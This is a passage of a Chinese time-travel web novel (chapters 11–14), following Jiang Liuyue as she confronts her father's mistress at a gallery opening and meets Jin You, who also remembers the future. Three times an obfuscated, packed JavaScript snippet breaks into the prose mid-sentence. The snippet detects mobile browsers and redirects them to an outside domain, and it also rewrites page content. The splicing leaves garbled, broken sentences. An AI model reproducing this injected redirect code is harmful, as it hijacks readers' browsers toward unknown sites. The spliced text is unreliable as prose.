“这个月的21日,你也来吧,爸爸的新展览,你也要过来帮忙招呼人才行啊,如果方便的话……崔氏的……” “妈妈,我生病了。” 江留月开口道。 “阿一古,只是一点感冒,现在就好好养着的话,21号一定会好的。” 乔娜拍了拍她的手,转身又往衣柜去了。 “我要搭一双什么样的鞋子呢……?” 江留月不再说话,只是轻轻地吐出了一口气。 “就是因为这样什么都没有,所以一感觉到‘被爱’就会像是个乞丐一样死抓着不放啊。” “你在说什么?” 乔娜似乎听到了她的自言自语,回头问道。 江留月扯起一个笑,摇了摇头。 “什么都没有,妈妈。” 妈妈。 我一直觉得,人是凭借爱活下去的,因为我看到你就是如此的。 你在他身边的时候,看起来比任何时候都幸福。 连我都要舍弃才能获得的爱情,大概就是人穷极一生才能得到的宝物了吧。 所以即使爱情让我痛苦。 只要能感受到‘被爱’,我也可以一直忍受。 直到你死去了,妈妈。 你让我看到了死在爱情里的人是多么的扭曲、卑微,是多么不值一提。 你死去之后,我才发现,除了痛苦,我竟然松了口气。 就像是再也不用去考一场永远不会及格的考试。 就像是再也不用一次次认证自己是个不配被你承认和爱的人。 从那之后,妈妈。 我才发现,想要活下去,根本不需要爱。 11.命运的窥探 11.命运的窥探 乔娜来去如风,拿到了自己满意的衣服和鞋子之后扬长而去,不忘再叮嘱江留月21日的时候不要忘记出席柳天赐美术馆的新展览。 江留月疲倦的倒在沙发上,仅仅只是一段简单的交流,她却像是被磋磨了一整天一样身心俱疲。 自穿越至今,她已经度过将近一个月的时间,从事业的角度来讲,她是满级大佬进了新手村,但从“其他方面”来说,她似乎依然无法在无数个问号里找出正确的答案。 比如乔娜。 她美丽脆弱的母亲,在发现父亲出轨之后做尽了激进的事情来挽回这段感情,从刚开始的真心筹划建议到最后疲于应对,江留月在接到她的死亡通知的时候,甚至误认为这又是乔娜的新花招。 就像是所有的“我死了之后全世界的人忽然发现他们爱我”那样,在乔娜死后,江留月发现自己真的很爱她,她和自己的母亲之间有着太多的遗憾和背道而驰,她无数次复盘她和乔娜之间的一切,后悔着自己的无数个举动。 她用了很长时间才接受了乔娜的离去,就像是乔娜当年离开中国去韩国那样,她舍弃了韩国那段记忆,拒绝再回去韩国,甚至不再说韩语。 金优为她找了好些个心理医生,江留月最终慢慢振作了起来,她尝试去摆脱母亲自杀的阴影,选择去勇敢面对。 然后,她得知,柳天赐在乔娜去世不到一年的时间,就已经订婚了。 乔娜的剧本终究没有像爱情小说那样上演,而是走向了更加世俗和残酷的结局。 江留月觉得头昏脑涨,她起身去给自己倒了一杯冰水,不知道是不是水太冷了,她握着水杯的手一直在发抖。 她总觉得自己忘了什么。 她记得自己参加了柳天赐的婚礼。 然后呢。 然后呢? 她感到头痛欲裂,于是直接蹲在了地上捂着自己的头,她的这个姿势让受伤的脚无法承受重量,她因此跌坐在地上。 刚才不小心松开的金属雕塑砸中了她的脚背,白皙的脚背此时已经乌得发紫,她这才感受到钻心的疼痛,注意力也被转移了过来,不再纠结自己丢失的记忆,而是起身一瘸一拐的为自己找来了医药箱。 她一边冰敷自己的伤口,一边努力回忆着柳天赐的出轨。 片刻之后,她拿起手机开始搜索柳天赐的美术馆,并成功的在人员介绍里发现那个叫做池珍素的女人。 穿着白色的裙子,清秀又可爱,栗色的卷发上佩戴一枚小巧的珍珠发卡,对着镜头露出整齐的雪白牙齿。 此时的时间是2014年,这是柳天赐现在的出轨对象。 若不是手头没有能调查私事儿的人,江留月必然要再去调查一番这两个人现在的情况,但眼下,她能近距离接收消息的场合只剩下了这个月21日的展览。 时至春日。 冰袋在她的脚背上融化,流下斑驳的痕迹。 陡峭的寒风正在远去,被冰封的一切都在试图苏醒,试探着去窥探漫长冬日里这个世界的变化。 江留月靠在落地窗上能看到小区的樱花树上已经有了点点粉嫩的花苞。 “真是到了野猫闹春的时候了。” 她自言自语道。 这样的私事儿,江留月并不想让权志龙知道,好在权志龙这两天也很忙,BB全体都去日本开fm了,随后众人的行程就是家族演唱会了。 跟其他几乎没离开舞台,对表演信手拈来的其他人相比,江留月的舞台一直不算很好,她之前也自知不如人,总是扮演一些讨巧的客串或feating了事。 这次她刚来就和东永裴做了一番预热,论坛上本有一些讨论度,但随着Bigbang的巡演中崔胜铉的白毛出现,话题度很快就盖了过去。 江留月找到南思风稍微刺探就知道,杨贤石想要提前BB的回归,正在催促他们赶紧制作专辑,甚至造型师团队已经开始为他们设计新发行了,崔胜铉的白毛就是试验品。 当然,来自2024的她知道,这次回归很快因为各种原因搁浅,几乎大半张专辑的歌曲作废,Bigbang的回归还远在明年。 但她并不敢笃定,因为之前并没有她怒砸社长办公室这样的戏码,难说杨贤石会不会为了阻止她发专辑而故意改期。 毕竟,想要让她发不出专辑,最简单的办法就是抽走权志龙这个制作人,强令禁止显然行不通,那,只要出现比她的专辑更重要的工作就好了。 到底是为Bigbang撰写新专辑还是为她的专辑保驾护航? 这甚至不是个选择题。 江留月很清楚的知道,自她来到2014年,曾经的历史便不再作数了,发生的一切只能作参考。 所以,Bigbang也许会按照曾经的历史在明年回归,也许真的会为了堵死她的路而在2014年的上半年回归。因此,她筹备专辑的事情不能怠慢,营销热度的工作也不能停,免得失去了在杨贤石面前的主动权。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一直以来,不管什么时候什么地方,追逐着我的人,不就是你吗? 我特意停下脚步,特意在路口回头张望,从不让你丢失目标,总能让你看到希望,让你快步跑来不是吗? 为什么现在…… 好像是被追逐的我…… 被抛弃了? 12.错误的相遇 12.错误的相遇 江留月并不在乎此刻权志龙心里头这个“脆弱少男”的想法,她正因为不受控的突发情况而感到头痛。 此时正是3月21日,樱花盛放的日子里,柳天赐的美术馆迎来了新的展览开幕式。 江留月的脚还没有好彻底,她选了一双宽松的厚底鞋,这是一双来自于艺术家的手作,鞋面用各种布料交叠架空,绚烂又不失俏皮。 对于她来说,更巧妙的是这样的鞋面略高于脚背,让她受伤的地方不用和鞋面进行摩擦,免得走起路来活像是被凌迟的小人鱼。 她为这双俏皮的鞋子搭配了一身略带摇滚朋克风的半裙半裤,斜跨一只卡通感十足的颜色饱和度极高的塑料小包,看似毫不相关,穿在她身上却有一种说不出的鬼马气质,正巧是呼应本次展览的主题。 这次的展览是个先锋家具设计师,他的风格就是偏向于塑料质感,将透视直接融入家具设计,再搭配以反差极大的色彩,给人非常深刻的印象。 江留月自认这身搭配毫不出错,但她提前来到美术馆之后,却被乔娜和柳天赐你一言我一语的批评了一顿,无非就是说她这个打扮古怪,看起来太不淑女。 “在客人没有来之前,赶紧去换掉吧。” 乔娜眉头皱的紧紧地:“你知道今天会来记者吧,这身如果被记者拍到了多尴尬啊。” 江留月看着乔娜身上那随时可以参加英国贵族晚宴的大裙摆缎裙和精心到头发丝都一丝不苟的发型,只能别开脸叹口气。 乔娜看起来如此年轻美貌,其实审美已经固化到了上一代,她之前就是被这样一直走着好嫁风,一直迎合着男性审美 ——白皙、娇嫩、没有攻击性的妆容、楚楚可怜又娇滴滴,如同橱窗里的洋娃娃一般。 打眼一瞅,就知道,她现在或者未来,一定会是某个人的“夫人”。 或者,我们不温和一点。 她一看就知道,是某个人的私有物。 “女孩子,就应该打扮的花一样,知道吗?” 柳天赐对着这个从来不听自己话的女儿语重心长的说。 “我现在也是花嘛,只不过有些扎手罢了。” 江留月无意和他们纠缠,于是选择用俏皮话打圆场,试图蒙混过关。从现在开始,她的每一次曝光都至关重要,她要一点点改变大众对她的固有认知,就从打碎过去的刻板印象开始。 “不要给我在这里狡辩,赶紧去换身衣服!” 柳天赐见她顶嘴,立刻板起面孔训斥道。 江留月撇撇嘴,头一转,正看到那个站在不远处的女人,她微微一笑:“好啊,我知道了,我去换,但是,找个人陪我吧,我对这里又不熟悉……啊,那位小姐,就麻烦你吧。” 她抓到的正是柳天赐现在出轨的对象池珍素。 池珍素显然慌了,下意识的看向了柳天赐。 柳天赐也愣怔了片刻,但很快就反应过来,应允了这件事情,并一本正经的叫道:“池室长,请你陪着她去一趟,再拿合适的衣服给她。” 池珍素赶紧答应了,礼貌得体的过来向江留月问候,然后温声细语的请她跟着自己前往更衣室换衣服。 这是江留月第一次私下与她接触。 总体来说,看不出来是小三。 她表现得十分专业,谈吐得体,态度温柔,富有耐心,没有攻击性的柔顺长相,带着让人心生好感的笑容。 池珍素将她一路带到了柳天赐的办公室,并请她在这里等一会儿,好去准备一身她能换的“得体衣服”。 “还有别的房间吗?这是馆……我父亲的办公室吧,如果在这里换衣服,万一有客人来拜访,不就尴尬了吗?” 江留月双手环胸,紧紧盯着池珍素的表情,半开玩笑道。 池珍素却犹豫的看着她,然后有些紧张似的,飞速的舔了一下自己的嘴唇。 “啊……这……说、说的也是呢,可,可是,也没有太合适的地方了,只有社长的办公室比较宽敞,不如就在这里吧。” 她的话语都有些结巴,眼睛到处乱扫。 江留月顺着她的目光,看到办公室的会客沙发旁边摆着待客用的茶点,不仅如此,茶点旁边还已经摆好了杯垫,看样子柳天赐今天的确要在办公室见客人,这些都是为客人准备的。 嗯? 本意只不过是想借机换到池珍素的办公室里去看看能不能获取什么线索的江留月挑起了眉毛,显然没料到自己收获了意外之喜。 这位池珍素小姐,远比她看起来要刻薄恶毒的多,只可惜手段无趣至极罢了。 江留月走过去从茶点中选了一块点心放在嘴里,慢慢的咀嚼着回头继续打量池珍素。 没有任何交谈,气氛凝滞得可怕,池珍素的睫毛在疯狂抖动。 江留月忽然觉得无趣,将吃了一半的茶点丢了回去。 “去换一个吧,怪难吃的。” 这种简单粗暴到无脑的计俩,也就在韩国有用了。 放在中国的宫斗戏里,连三分钟都活不过去。 不过,池珍素大概也是临时起意的,毕竟谁也没能猜到她会穿成这样过来,也许是因为自己的卑躬屈膝而感到委屈不满所以想要借题发挥,也许只是想因此让乔娜感到难堪。 池珍素看着被江留月破坏的茶点,脸上的不忿几乎要满溢出来,江留月漫不经心的话语和行为对她而言是莫大的羞辱,凭什么自己要像是奴才一样伺候她?! “这次招待的客人很喜欢吃呢,是特意准备的,现在弄成这样,我都不知道要怎么办才好了。” 即便如此,她也强行压下情绪,露出笑容,看似委屈实则挑衅的对江留月说。 江留月闻言,眯起了眼睛。 她和母亲的确有着相似的脸庞,却唯独一双眸子,乔娜是温柔的褐色,而江留月是有着粼粼寒光的漆黑。 “你可真是……” 江留月一屁股在待客的沙发上坐下,顺势将自己的腿搭在了茶几上,漂亮的小嘴里蹦出来的字眼轻飘飘的: “不怎么样。” “待客细节不怎么样,业务能力不怎么样,紧急情况处理的能力也不怎么样。”江留月一边说一边向下掰手指,最后只剩下一根中指对着池珍素:“明明做了不伦的事情却假装成无辜的演技,也不怎么样。” 池珍素悚然一惊,几乎下意识的脱口而出:“你怎么知……” 下一秒,她又陡然惊醒搬将说了一半的话咽回去,强装镇定道:“您在说什么呢,看来是有什么误会,您怎么能那么说我呢?” 江留月不再说什么,只是哂笑了一下。 池珍素却仿佛经受了莫大的屈辱,呼吸都有几分急促起来。 她忽然意识到对方大约是有备而来专门给自己难堪的,一边暗自恼怒一边想要赶紧脱身,却冷不防听到江留月心平气和的说道。 “看来是误会了。” “诶?” 江留月露出和善的笑容:“我说,看你那么激动,也许是我误会了,啊,怎么办呢,不知道是谁给我发了邮件,说美术馆里有人不知羞耻的在勾引我的父亲,但是对方发给我的照片却没有脸,所以我才来试探一下,看来这个人不是池室长呢。” “什,什么?” 池珍素被江留月话里一个接着一个的炸弹丢的头晕脑胀,结结巴巴的问道:“照、照片吗?” “嗯……但是女人的脸被马赛克给抹掉了,所以看不见脸,也不知道对方是什么面对,是提醒我呢,还是想要一笔封口费。”江留月微微苦恼的蹙眉,然后问道:“池室长……对这件事情有头绪吗?” “没、没有,我怎么会……” “是吗?”江留月点了点头,对池珍素慌乱的表情视若无睹:“那会是谁呢?领着我们家的薪水养活着自己,却毫无廉耻和自尊心的那个人,如果有线索的话,池室长一定要记得告诉我才行。” “啊……这、这种事……怎么说,作为子女……这样干涉长辈的事情是不是……” 池珍素结结巴巴的说道。 “啊,看来你不知道呢。”江留月微微一笑:“这个美术馆,是我花的钱,你们这群人领的薪水,基本也是由我来出的,只是以为父母年纪大了所以想找一些额外的事情帮忙消遣,所以才开了这家美术馆。” “不要担心,池室长。” “人是没有办法向发出赖以生存的薪水的人有脾气的,哪怕是我的父亲也一样,虽然在衣服或者鞋子这样的小事上他还有这作为父亲的威严,但那不过是因为在别的地方都失去了掌控才会抽的风罢了。” “伸出手向别人讨要生活,就是要这样忍气吞声的活着。” 池珍素额头满是冷汗,整个人也变得失魂落魄,但仍然强撑着露出笑容,说自己对这一切都一无所知。 “没关系,我会调查的,之前误会了你,抱歉。” 池珍素连忙摇着头,然后又想起了什么:“那,那我给您再安排个房间换衣服……” “没关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14464456|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系。” 江留月摇了摇头,对她微微一笑:“我不换。” 打从一开始,也没打算要换衣服的江留月挥手让池珍素离开,她没有要把这件事情闹得不可开交的地步,对于乔娜来说,他人羡慕的眼光也是完美生活的一部分,只要不挑破真相,她可以装聋作哑一辈子。 假装相爱,假装真爱,假装幸福,接受别人虚假的羡慕。 这种时候,挑破真相的人才是那个罪人。 江留月不想当那个罪人,只是没记错的话,在2014年的年末,池珍素就和柳天赐被撞破了一次,当时乔娜的崩溃和发疯真是把她给折磨惨了。 没记错的话,当时池珍素是拿了一大笔封口费走了……吧。 江留月忽然觉得记忆有些混乱,竟一时之间想不清楚池珍素最后的结局,她吸了一口气,用手按摩着自己的鼻梁的时候,办公室的门被人推开了。 江留月以为是柳天赐,心想真是麻烦,最好池珍素没有惊慌失措的去告状,让她还要跟自己伦理上的父亲辩论出轨到底算不算道德败坏。 她抬起头的时候,却看到了另外一张熟悉的脸。 ……好熟悉的出场方式。 江留月想,还好有乔娜之前的突然出现让她有所准备,因此再看到金优的时候,她的表情管理才会做得如此完美。 “……您好,如果您找社长的话……他应该在前厅,我去帮您叫一下吧。” 没记错的话,她和金优的第一次见面,是在2015年的10月。 如今是2014年的3月。 不过,回忆起来,原本的自己是穿着中规中矩的裙子套装一直呆在展览馆的前厅,拍了照片之后就匆匆离去,大概因此错失了和金优互相认识的机会。 江留月有着片刻犹豫,想过要不要就此结识金优,毕竟她现在真的很缺人。 但她很快做出了决断,摆出陌生的姿态,起身微微致意,便打算离开。 在这个瞬间,她做出了取舍。 * 金优和记忆里没有什么区别,长身玉立,风度翩翩,穿着不会出错的定制西装,身形利落又带着舒展感,一双遗传自母亲的大眼睛柔化了来自微微鹰鼻与硬朗的轮廓带来的锋利感,脸上永远是商务化的微笑。 曾经江留月的粉丝们戏称这位哥哥是外热内冷一块坚冰,江留月犀利锐评不过是永远温度在16°的工作机器。 你交付什么任务,他就吐出合理的结果,不出挑,也不出错。 这样不知道是人还是机器的存在一直平稳运行,就像是半夜走在路上看到24小时连锁便利店一样让人感到安心。 直到—————— “明月。” 擦身而过的瞬间,金优挡住了对方的去路。 他用中文,口齿清晰的叫出了那个名字。 “是你吧,明月。” 【不会出错的机器忽然过载损坏了。】 【金优不知道要如何处理眼下的一切,他的每一条向自己发出的指令都失效。】 【他短暂的陷入疯狂,又陷入长时间的清醒。】 江留月脊梁骨窜过一阵寒意。 几乎是瞬间,她就意识到,眼前的金优,竟然和自己一样,有着10年后的记忆。 啧。 麻烦了。 “你好像记错名字了。” 江留月微微一笑: “我不叫明月,我叫江留月,不过可以理解,演艺人的本名是不太好记,你也是中国人吗?” 她自然的抬起自己的手: “好巧啊,我们可以认识一下。” “我是Alice。” “初次见面,请多指教。” 金优垂着眼看着那只白皙纤细的手。 完全不同的穿衣风格,完全不同的眼神,说话的口吻、语气,也许旁人感受不到,但是金优立刻就能察觉。 不是江留月,不是Alice,是江明月。 也许是上天垂怜。 他得以返回阻止一切。 也许是上天从未眷顾他。 时间改变了。 事件改变了。 相遇改变了。 唯一不变的是。 她依然头也不回的选择了离开。 【404 not found】 他深吸一口气,抬起手轻轻地握住了她的手。 柔软、温暖。 “初次见面,我是金优。” 13.错误的指令 13.错误的指令 江留月本以为在这里碰到“觉醒版”金优是今天让自己最头疼的事情。 万万没有想到的是,这只是她头疼的开始。 按照她对金优的了解,在这样礼貌的互相打招呼之后,他就算知道自己也是“觉醒版”,也能通过自己的行为了解到立场,然后礼貌退场。 因为金优就是这样一个人。 一台完美的机器。 你输入什么指令,他都能没有差错的给你完成。 江留月在2015年10月认识了金优,她模糊的记得大约是一个乔娜牵头举办的中秋宴,在这场宴会上,她认识了和自己经历极为相似的金优,面对这个世界上翻版的自己,她与金优互留了电话,保持着礼貌但频率不高的沟通。 彼时Bigbang在中国开起了巡回,人气空前高涨,连带着她也接到了多个商务邀约,更有甚至直接追到了韩国来这里想要跟她谈合作,不知道从哪里打听到了金优和她认识,抓住这条关系联系上了她。 作为中间人的金优深感抱歉,主动担任了免费的商务经纪人,没想到居然做得很好,正巧江留月此时想要离开YG的心已经相当强烈,而金优则因为家庭原因想要摆脱家里的产业链出来自己打拼一番,两个人一拍即合,连合同都没有就开始单挑YG了。 金优能力卓越,来到江留月身边不过月余就将上下打理得条理分明,不管是商务还是通告都从无纰漏,江留月也越发的信赖他——这种信赖一半是因为金优的能力,另一半是因为金优和她相似的处境。 权志龙很好,她也有许多好朋友,有其他可以信赖的兄长,但这些人都无法真正的共情她的心理状态。 “刀子不扎在自己身上,是不会知道痛的。” 在江留月和乔娜之间的关系逐渐势如水火的时候,权志龙绞尽脑汁在安抚自己的丈母娘,并请母亲和姐姐来调停关系的时候,金优已经在帮江留月起草断绝母女关系的法律文书了。 在幸福的家庭中生活的小孩,大多坚定的相信没有不爱小孩的父母,将大多数的痛苦的争执归咎于缺乏沟通和理解。 江留月最后一次歇斯底里的爆发,是在权志龙为她和乔娜创造一场旅行的时候。 本以为这场旅行里只有她和权家人,结果推开旅馆的门的时候看到乔娜和权达美在一起喝茶,江留月在那个瞬间,第一次萌生出了要杀了全世界的想法。 她能做出最大的克制,就是掉头就走。 权志龙吓了一跳,赶紧追了上来拦住了她,一叠声的抱歉自己没有提前打招呼,又将她抱在怀里亲吻脸颊,低声诉说乔娜在权妈妈和姐姐那边哭诉的内容。 “阿姨真的很担心你,吃不下饭也睡不着觉,每天都会发信息来向我询问你的消息,担心你没有好好吃饭,有没有注意增减衣服,这中间一定是有什么误会的,一直这样下去,你们两个人都很伤心要怎么办呢。” 权志龙用柔和的语气,尽量舒缓江留月的情绪。 他拿出手机向江留月展示乔娜发来的短信。 “我们那不听话的小女儿多亏了您的照顾,无论如何请您多包容她的不懂事。” “今天天气很冷,志龙和我们塔伊都要注意穿上厚衣服,不要因为喜欢漂亮就只穿单薄的衣服,我煮了一些热汤放在了你们公寓的管家那里,请不要告诉塔伊是我做的,不然那个倔强的孩子可能会一口都不喝。” “凌晨时分打扰实在抱歉,我刷新闻的时候看到塔伊似乎有些咳嗽,能不能请您给她买一些咳嗽药呢。” 一字字,一句句。 一个母亲对女儿的拳拳爱意表达得淋漓尽致。 江留月一条条看过去,这些短信加起来竟然三四分钟都看不完,有时候一天之内会发个三四条。 权志龙一旦看到,都会认真的回复,其中不乏在中间为她说好话,撒一些谎,诸如【塔伊也很想您,只是不知道开口】之类的言论。 对于这个平时短信只会发简短字数的人来说,权志龙对乔娜倾注了十足的耐心,试图从千丝万缕中拽住这对母女脆弱的联系,让它们变得重新紧密起来。 他一无所知的将这联系变成绳索,套在了江留月的脖子上。 绳索越收越紧,濒临窒息的感觉终于逼疯了江留月。 “谁让你做这样的事情的。” 她攥着手机,气急败坏的对着权志龙吼道:“你为什么要这样做,谁让你这样做了,你凭什么这样做!!” “我一点都不想她,我一点都不想见到她,为什么要回复她的短信,为什么要相信她说的话,为什么啊!!!!” 权志龙被她尖锐的哭喊给吓到了,一时之间无措的站在那。 他似乎意识到,江留月非常抵触这样的行为,但他竟不知道,为什么她会这样抵触。 他只能有些结巴的说道:“可、哪有跟父母一直争吵的……阿姨她……” “和你无关。” 江留月冷冰冰的说出了绝情的话。 “少管闲事,权志龙,你如果真的那么闲的话,干脆你去给她当儿子算了,我看你们俩更像是母子,一模一样的自说自话。” 这话说的过分,权志龙有些被刺到,但看着江留月眼睛里泪花在打转,一张小脸似乎比上次见面又清减了一些,整个人瘦的像是会被风给撕碎一般,又心软下来。 “你这孩子……乱说什么呢……让长辈们听到了怎么办啊。”他下意识的瞥了一眼不远处的大门:“怎么了你这是……为什么那么生气,阿姨她这是在向你低头呢。” 权志龙微微皱着眉,褐色的双眼注视着江留月。 江留月深吸一口气,只觉得眼前发黑,喉咙一阵血腥气。 “我们进去吧。” 权志龙握住了她的手。 “如果真的不舒服,不开心的话,我们再找借口跑出来,好不好?” 他放软了口气,然后在她的指尖轻轻地亲了一口。 “看在阿姨真心为上次争吵低头道歉的份上,有时候父母是会这样说一些重话,但是父母对孩子的心,其实是最爱的,是不是?” 江留月只是断断续续的喘着气,站在那没动。 权志龙以为她总算是松动了,于是试图让气氛活跃起来。 他拿自己举例子:“我也一样挨骂的呀,你还记得吗,妈妈说我像个乞丐一样,真是的,怎么能那么说自己的儿子呢。” 够了。 别说了。 别说了。 别说了。 江留月的胸口有无数的情绪在翻涌,似乎有着痛苦的绝望的哭喊要从喉咙里涌出来,想要对权志龙大声的喊出来。 你对我展示的所谓的“伤口”,就像是在向我炫耀一样,让我感到窒息啊。 我要怎么跟你说。 是假的。 她只是,喜欢演罢了。 从我当她的女儿开始,从未得到过的关心,从我还是个年幼的孩子开始,她就是一个会随便拿走女儿的早餐吃上一口再嫌弃的丢进垃圾桶的不负责任的母亲;她是一个因为孩子生病了,随便找了个什么药就塞到年幼的孩子嘴里,看到孩子呕吐了一地还要发脾气的女人;因为咳嗽的声音太吵所以干脆躲出去跳舞的女人;是无数次推开渴望她拥抱的手的人。 她不知道什么是低头,也不知道什么是道歉。 可这些。 我要怎么跟你说呢。 我要怎么跟你解释,我就是这样长大的。 没得到过爱,也没有父母在背后撑腰,如果你不再爱我,连一个冲出来对你喊‘怎么可以这样对我的女儿’的人都不会有。 如果告诉你真相,就好像是交出了所有的底牌。 ……就算告诉你真相。 你真的会相信我吗? ————————你不会。 “塔伊啊,好不好?” 权志龙的手握着她的手,她低下头,只看到权志龙虎口上的笑脸纹身。 她的肩膀垮了下来,整个人都疲惫至极。 真奇怪。 不是已经妥协过无数次了吗? 为什么会在犹豫? 江留月恍惚的想着。 大概是因为上次和乔娜争执的原因,是因为乔娜让她去找权志龙要一些作品展览在柳天赐的美术馆里。 她拒绝了。 她也不知道自己为什么那么斩钉截铁的拒绝了。 乔娜很生气,指责她脑子转不开,说女婿给老丈人撑脸面到哪里都是理所当然的。 乔娜根本不在乎,这样不合理的要求,会不断消耗权志龙对她的爱意,会消耗舆论对她的善意,会消耗粉丝对她的容忍度。 甚至,这些作品展览在美术馆里,并不是什么【必须的行为】。 只是因为,乔娜希望得到,所以她就得到,她不在乎这会毁掉江留月的人生。 权志龙永远不会知道他们之间争吵的真正原因。 就算知道了,又会怎么样呢。 ————大概会主动送上自己的作品,甚至还要自掏腰包买上赔罪的礼品吧。 然后呢? 她会和权志龙结婚吗? 结婚的话。 这样的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两天过去之后,权志龙继续返回中国开世巡,江留月则在筹备自己的新专辑。 金优进门的时候,江留月正托腮看着早就已经跳到屏保的电脑屏幕。 金优坐下开始整理工作,然后听到了一条指令。 “帮我找一个好律师,我要和我的父母断绝关系。” 江留月一边说,一边抬起头看向金优。 金优的表情没什么变化。 他的手机飞速的敲击键盘,片刻之后,打印机开始工作了。 “我把相关律师的资料打印出来了,你可以挑一个喜欢的。” 金优说道。 江留月愣了一下。 直到金优将资料真的拿过来,放到她的手上。 “你……不劝我?” 江留月问了一个很傻的问题。 金优这个时候才露出了有些诧异的表情:“……为什么?” 是啊,为什么? 既然感知到了痛苦,又有脱离痛苦的途径和能力,为什么要继续忍受? 没有任何理由。 “没什么,就这样干吧,我选好律师之后你来帮我约时间。” 江留月轻轻地吐出了一口气。 没去做之前,她也没料到竟然那么简单,因为身份敏感,律师帮她主张了隐私保护,有一些内容,律师也不方便说,江留月便和金优说,金优就帮她挑选一些合适作为证据的内容出来。 不知不觉中,金优知道了她的秘密。 他们的关系变得迅速亲近了起来。 江留月的笑容明显变多了,人也开朗了不少,尽管后期官司的推动很缓慢,但她明显整个人都轻松了很多。 面对乔娜和柳天赐一些奇葩的行为的时候,她不再是生气,而是很高兴有了新证据,然后立刻分享给金优。 金优听着她语气激烈的吐槽,从容不迫的点出乔娜和柳天赐的“坏”会给他们带来什么损失,听得江留月心情都变好了。 “……原来有战友是这样的感觉啊。” 她对金优说:“谢谢你让我知道,他们真的是很坏的人。” “谢谢你,金优,你真是我最信任的人了。” * 江留月意识到,自己被缠住了。 金优一直跟着她,哪怕她委婉的劝说,仍然不为所动。 两个人走到走廊尽头,江留月已经感到有些不耐烦了,她深吸一口气,口气冷冰冰的问道:“请问,金先生,您到底有什么事呢?我都跟您说了,您可以在办公室等……” “我可以让你和你的父母脱离关系。” 金优语气平静的说道。 “我知道他们很坏,对你也很坏,我可以帮你一起对付他们。” “不管什么事情,我都可以当你的同伙。” “别担心,我不是坏人……我们是一伙的。” “请相信我。” 对你不好的人。 让你伤心的人。 都是我的敌人。 14.错误的理解 14.错误的理解 “……我拒绝。 江留月后退一步和金优拉开了距离,尽量压住自己狂乱的心跳,语气冰冷的说道:“您能这样说话也太没礼貌了,我和我的父母关系很好,请您不要胡乱猜测。” 金优和记忆中的样子相差甚远,他眼睛里的偏执令江留月感到不安,甚至有些恐惧。 金优会有情绪起伏如此剧烈的时候吗? 眼前这个人,还是自己熟悉的那个金优吗? 面对如此未知的人,江留月下意识的想要保持一段安全距离,她抗拒的将手举了起来,在半空中拉开两个人之间的距离。 “您太失礼了……我想,您应该自己冷静一会儿。” 眼看金优似乎又要说什么,江留月立刻将手举起来制止对方的发言。 她戒备十足的看着对方,一字一句道:“刚才的话我就当您是胡言乱语,请您自己去庭院那边吹吹清醒一下吧,告辞。” 金优的确有些不对,她得赶紧先离开找人去调查一下。 但金优似乎不打算就此罢休,他急切的想要对方相信自己,于是没忍住抓住了江留月的手。 “明月……” “放开!” 江留月用力往回抽自己的手,她下意识的用力让她将自己的身体大幅度后倾,而那双来自艺术家手作的鞋子显然没有考虑如此大负荷的工作。 咔的一声脆响之后,其中一只鞋子的鞋跟猛然断裂,江留月失去平衡,整个人剧烈的趔趄了一下,险些直接摔倒在地上。 “啪!” 又是一声闷响,然后是下意识吸气的吃痛声音。 江留月还以为另外一个鞋子也坏了,但事实并非如此,一只结实的手臂及时支撑柱了她的身体,然后她整个人都被托住保持住了平衡,连带着手也得到了自由。 因为一支漆黑的狗头手杖狠狠地敲在了金优攥着她的手腕上。 金优吃痛的缩回了手,这才注意到江留月身边出现的高大男人,目光落在那锋利的轮廓和不善的漆黑双眼的时候,他愣了一下。 崔胜铉叼着一根烟,说话间青色的烟雾缭绕,他扶着江留月站好后才收回了手杖,顺手将手杖递给江留月站稳,最后才不悦的用沙哑的声音问道: “你这狗崽子是谁啊,在对谁动手动脚呢,西八杂种。” 一连串西八攻击让江留月都感到头疼,但崔胜铉八成认为对方是个轻薄自己的登徒子,有这种反应倒也正常。 只是她尽管对现在的金优保有戒备心,却依然记得对方陪伴在自己身边数年间无私的奉献和关心,于是一时之间也觉得有些抱歉,急忙拽住了崔胜铉要在上前的步伐。 “啊,哥,误会,这都是误会!” 她脑子飞速转动,赶紧编造了一个看起来比较可信的理由:“是、是我的脚不小心受伤了,这位先生主动扶了我一下……呃……他是出于好心,好心,真的,哥!” 崔胜铉瞥了她一眼,牛一样大的眼睛里写着‘你这死丫头是不是疯了’。 江留月露出讨好的笑容,脸上是说不出的尴尬。 完了,崔胜铉必然能看出她和金优之间的端倪,这下可不好糊弄过去了。 想到崔胜铉那别说打破砂锅,就是打破韩国也要追究到底的牛脾气,江留月已经开始太阳穴抽痛了,她将希望寄托于金优身上,希望对方能get到自己的意思一起打个掩护。 此时,金优却一言不发,只是捂着已经开始肿烫的手腕,急促的喘息着,死死地盯着眼前的崔胜铉。 令江留月感到吃惊的是,他对崔胜铉表现出了强烈的敌意。 这……不应该吧? 这两个人……貌似没有什么交集? “你那眼神……算什么?” 崔胜铉显然也注意到了对方的不善和敌意,他眯起了双眼,将江留月手里正在拄着的手杖又抽了回来,看起来想要揍对方一顿,江留月却因此失去平衡差点又摔倒。 江留月急忙拽住对方高定西装的袖口:“呀!!!哥!!!” 看着江留月险些跌倒,金优下意识的伸手想要扶她,崔胜铉却一把拽住江留月的后领口,像是拎鸡崽子一样将她往后一扯,拽到了自己的身后。 “你的手想往哪里伸呢狗崽子……” 